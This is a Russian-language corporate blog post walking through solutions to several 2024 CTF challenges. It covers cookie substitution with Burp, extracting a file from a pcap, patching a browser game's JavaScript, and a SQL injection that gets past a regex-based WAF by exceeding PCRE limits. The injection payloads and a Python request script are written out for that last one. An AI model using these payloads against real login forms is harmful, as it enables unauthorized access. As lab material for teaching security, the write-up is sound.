(function(m,e,t,r,i,k,a){m[i]=m[i]||function(){(m[i].a=m[i].a||[]).push(arguments)}; m[i].l=1*new Date(); for (var j = 0; j < document.scripts.length; j++) {if (document.scripts[j].src === r) { return; }} k=e.createElement(t),a=e.getElementsByTagName(t)[0],k.async=1,k.src=r,a.parentNode.insertBefore(k,a)}) (window, document, "script", "https://mc.yandex.ru/metrika/tag.js", "ym"); ym(93790508, "init", { defer: true, clickmap:true, trackLinks:true, accurateTrackBounce:true }); ym(93790508, 'hit', window.location.href);

Ищем уязвимости, как «белые хакеры». Подборка задач из CTF-турниров в 2024 году

Делимся решением задач от CTF-турниров со всего мира. Пригодится как опытным, так и начинающим специалистам по кибербезопасности.

В мире кибербезопасности есть такое событие, как CTF-турнир (Capture The Flag). В нем участники захватывают флаги соперников и защищают свои. Организаторы «зашивают» их в специально разработанные системы — заполучить флаги можно только через взлом. В подборке рассказываем о прошедших CTF-турнирах и делимся решением самых интересных задач по мнению Ивана, специалиста по кибербезопасности в Selectel.

Материал не обучает хакингу и не призывает к противозаконным действиям. Все описанное ниже лишь демонстрирует, какие пробелы в безопасности встречаются в реальных веб-приложениях. И предупреждает, на что нужно обратить внимание при разработке программного обеспечения.

Быстрая навигация по тексту:

KnightCTF 2024, часть 1

В январе прошел CTF-турнир KnightCTF 2024, который организовали cybersecurity-энтузиасты из Бангладеша. За 24 часа участникам предстояло решить задачи из категорий cryptography, reverse engineering, digital forensics, pwn, steganography, web и networking. Коллеге особенно понравилась задача Gain Access 2 из веб-технологий. Ниже рассказываем, как он ее решил.

Решение задачи

Условие

У вас есть все, чтобы достичь цели. Рыцарь указал вам путь. Следуйте по нему и получите флаг. Имейте в виду, что все задачи основаны на реальных ошибках в приложениях.

Решение

Дана форма авторизации:

В коде страницы закомментирован путь к файлу. Переходим к нему и видим послание.

На странице выводится или логин/пароль, или логин/куки — надо проверить оба варианта. Возвращаемся на форму авторизации и вводим полученные данные — логин или пароль неверный.

Заходим в исходный код страницы и видим условие: если авторизация пройдет успешно, пользователя перенаправят на страницу 2fa.php.

Включаем Burp в режим proxy и делаем запрос к 2fa.php. В перехваченном запросе меняем кукки на полученное ранее значение d05fcd90ca236d294384abd00ca98a2d. После — переходим на страницу для ввода второго значения:

Аналогично предыдущему условию работаем с dashboard.php. Делаем запрос к dashboard.php, подменяем в Burp кукки и попадаем на страницу с флагом. Готово — задача решена.

KnightCTF 2024, часть 2

Продолжение материала о KnightCTF 2024, но уже с другими задачами из категории networking. Некоторые из них повторяют предыдущие — так, например, автор находит скрытый флаг в уже известном .pcap-файле и использует bash-history TCP-протокола. Последнее было в задаче Confidential, рассказываем о ней подробнее.

Решение задачи

Условие

Здесь есть что-то конфиденциальное. Сможете ли вы найти его? Пожалуйста, воспользуйтесь приложением к первой задаче. Формат флага: KCTF{fl4G}

Дано

Решение

Возвращаемся к bash-history из предыдущей задачи. На 162 строке видим скачанный архив maybeconfidential.zip. Узнаем, что в нем находится.

В Wireshark можно получить файлы, которые передавались в момент записи дампа трафика. Выбираем ФайлЭкспортировать объектыHTTP, добавляем в фильтр maybeconfidential.zip:

Распаковываем архив. Внутри — .docx-файл с картинкой. На ней изображен маскот рыцаря Knight CTF 2024:

Формат .docx — тоже архив, нужно его открыть. В нем находятся три папки с файлами и XML-документ.

С помощью обычного поиска по тексту ищем в названии KCTF. Находим флаг в maybeconfidential/maybeconfidential/word/document.xml. Задача решена!

DiceCTF 2024 Quals

В начале февраля команда DiceGang провела квалификацию DiceCTF 2024 Quals. Это был Jeopardy-турнир длительностью 48 часов. Все задачи были распределены по пяти направлениям: crypto, misc, pwn, rev и web. В последнем запомнилась задача dicedicegoose: из-за неоднозначного условие было непонятно, что нужно делать. Посмотрим, какое решение нашел наш коллега Иван.

Решение задачи

Условие

Следуйте за лидером.

Дано

Решение

Дана только ссылка на сайт. Переходим на нее и видим такую игру:

Заходим в исходный код страницы, а там — полотно из JavaScript-кода. Не будем приводить здесь весь листинг, вместо этого покажем интересные куски, за которые можно зацепиться. Перед нами — переменные player и goose с числовыми значениями.

let player = [0, 1]; let goose = [9, 9];

Из кода понятно, что переменные — это массивы с исходными координатами красного кубика и черного квадрата. Расположим их в массиве history:

let history = []; history.push([player, goose]);

Далее видим блок с изменениями координат player и goose:

document.onkeypress = (e) => { if (won) return; let nxt = [player[0], player[1]]; switch (e.key) { case "w": nxt[0]--; break; case "a": nxt[1]--; break; case "s": nxt[0]++; break; case "d": nxt[1]++; break; } if (!isValid(nxt)) return; player = nxt; if (player[0] === goose[0] && player[1] === goose[1]) { win(history); won = true; return; } do { nxt = [goose[0], goose[1]]; switch (Math.floor(4 * Math.random())) { case 0: nxt[0]--; break; case 1: nxt[1]--; break; case 2: nxt[0]++; break; case 3: nxt[1]++; break; } } while (!isValid(nxt)); goose = nxt; history.push([player, goose]); redraw(); };

Изменение координат player происходит нажатием клавиш W, A, S, D. Координаты goose меняются на единицу в сторону, выбранную случайным образом. И после каждого изменения — добавляются в history.

То есть игрок двигает кнопками красный кубик, тогда как черный квадрат перемещается случайным образом. А массив history сохраняет всю историю координат.

Из кода видно, что игрок выигрывает, если координаты player и goose совпадают:

if (player[0] === goose[0] && player[1] === goose[1]) { win(history); won = true; return; }

Чтобы получить флаг, нужно набрать девять очков и с помощью вызова функции передать в нее массив history:

if (score === 9) log("flag: dice{pr0_duck_gam3r_" + encode(history) + "}");

Функция encode выглядит следующим образом:

function encode(history) { const data = new Uint8Array(history.length * 4); let idx = 0; for (const part of history) { data[idx++] = part[0][0]; data[idx++] = part[0][1]; data[idx++] = part[1][0]; data[idx++] = part[1][1]; } let prev = String.fromCharCode.apply(null, data); let ret = btoa(prev); return ret; }

Каждое нажатие клавиши управления добавляет одно очко. Получается, выигрыш возможен только в сценарии, когда красный кубик двигается вниз, а черный квадрат — влево.

Для примера прикрепляем результат игры без изменения кода, а также содержимое массива history и результат выполнения функции encode:

Логика игры понятна. Теперь нужно получить массив history определенного вида, чтобы захватить флаг. Есть два варианта, как это сделать. Можно через консоль задать значение массива и вызвать функцию encode или просто набрать девять очков в игре. Мы пойдем по второму пути.

Сохраняем index.html и меняем в блоке кода координаты черного квадрата так, чтобы за каждый ход он двигался только влево:

# Было do { nxt = [goose[0], goose[1]]; switch (Math.floor(4 * Math.random())) { case 0: nxt[0]--; break; case 1: nxt[1]--; break; case 2: nxt[0]++; break; case 3: nxt[1]++; break; } }
# Стало do { nxt = [goose[0], goose[1]]; nxt[1]--; }

Переходим из кода страницы в Source, затем — в Override. В браузере заменяем index.html отредактированным JavaScript-кодом.

Перезагружаем страницу, нажимаем девять раз S и получаем результат:

Далее идем в консоль, вызываем функцию encode и передаем в нее аргумент history, чтобы получить недостающую часть флага. Готово!

0xL4ugh CTF 24

Третий CTF-турнир, но от команды 0xL4ugh из Египта. В течение суток участникам нужно было решить 36 заданий из категории web, DFIR, reverse, crypto, pwn, misc и osint. По сравнению с предыдущими турнирами задачи здесь сложнее: они основаны на реальных случаях и исследованиях. Ниже делимся решением Simple WAF — задачей по веб-технологиям.

Решение задачи

Условие

Я внес в белый список входные значения, так что, думаю, я в безопасности: P

Дано

Решение

По ссылке — форма из предыдущего задания:

Переходим к файлам из предыдущего архива.

В init.db нам предлагают создать таблицу с тремя столбцами.

CREATE TABLE IF NOT EXISTS `users` ( `id` varchar(50) NOT NULL, `username` varchar(20) NOT NULL, `password` varchar(50) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=66 ;

После — добавить запись об администраторе:

insert into users(id,username,password) values('1','admin','c0b12ccad044e2e525cf818077413c4c');

На этот раз пароль — не admin. Хеш md5 к нему не подходит.

Перейдем к index.php. В нем есть ряд условий:

if(isset($_POST['login-submit'])) { if(!empty($_POST['username'])&&!empty($_POST['password'])) { $username=$_POST['username']; $password=md5($_POST['password']); if(waf($username)) { die("WAF Block"); } else { $res = $conn->query("select * from users where username='$username' and password='$password'"); if($res->num_rows ===1) { echo "0xL4ugh{Fake_Flag}"; } else { echo "<script>alert('Wrong Creds')</script>"; } } } else { echo "<script>alert('Please Fill All Fields')</script>"; } }

Если username и password в отправленном POST-запросе не пустые, то идет проверка в функции waf:

function waf($input) { if(preg_match("/([^a-z])+/s",$input)) { return true; } else { return false; } }

Дальнейшая обработка запроса происходит только в том случае, если проверка в waf прошла неуспешно. После этого она выполняет запрос к базе данных:

select * from users where username='$username' and password='$password'

Если в результате запроса к БД количество строк равняются единице, то мы получим флаг. Для этого необходимо выполнить два условия.

1. Данные в username не должны попадать под шаблон:

preg_match("/([^a-z])+/s",$input)

2. Запрос к БД должен вернуть только одну строку:

if($res->num_rows ===1) { echo "0xL4ugh{Fake_Flag}"; }

Поскольку в базе данных находится одна строка, то обход авторизации должен сработать независимо от переданных значений username, password. Добавляем еще одно условие, чтобы обойти авторизацию:

‘ or 1=1;# ‘ or 1=1;-- - ‘ or true;# ‘ or true;-- -

Данные в username не должны попадать под шаблон preg_match("/([^a-z])+/s",$input). В нем происходит проверка наличия букв: если они есть, то запрос к БД не доходит. Поэтому стоит учитывать фильтр preg_match php, чтобы не допустить появление букв в username.

Прикладываем пример альтернативного обхода авторизации, который не содержит букв:

В итоговой SQL-инъекции меняем or 1=1-- — на || 1=1-- -.

Теперь необходимо решить, как обойти preg_match. По ссылке можно найти информацию о функции и ее ошибках. Делаем вывод, что preg_match, являясь PCRE-функцией, рекурсивно проверяет переданную строку по шаблону и имеет предел входных значение. Информацию о лимитах функции можно найти в руководстве по PHP. При превышении этого значения waf вернет false, что нам и требуется.

Собираем POST-запрос в Python и передаем его в тестовое приложение, запущенное в Docker. Собираем образ Docker и запускаем контейнер:

$ sudo docker build simple_waf_togive --tag "waf" $ sudo docker run waf

Пишу скрипт test_waf.py.

Интересное наблюдение: при 10’001 символов функция возвращает false. Возможно, это значение может быть еще ниже, его можно определить параметром pcre.recursion_limit в php.ini.

import requests address = 'http://172.17.0.2/' username = '1'*10001 + "' || 1=1-- -" password = 'any' data = {'username':username, 'password':password, 'login-submit':''} print(requests.post(address,data).text)

В ответе получаем страницу с тестовым флагом:

Теперь этим скриптом можно обратиться к основному приложению, чтобы получить флаг. Готово!

Хотите подробнее узнать о кибербезопасности, чтоб решать «хакерские» задачи? Начните с курса «Введение в сетевую безопасность». В нем делимся инструкциями, с помощью которых вы научитесь анализировать сетевой трафик и проводить сканирование портов.

0
Комментарии
-3 комментариев
Раскрывать всегда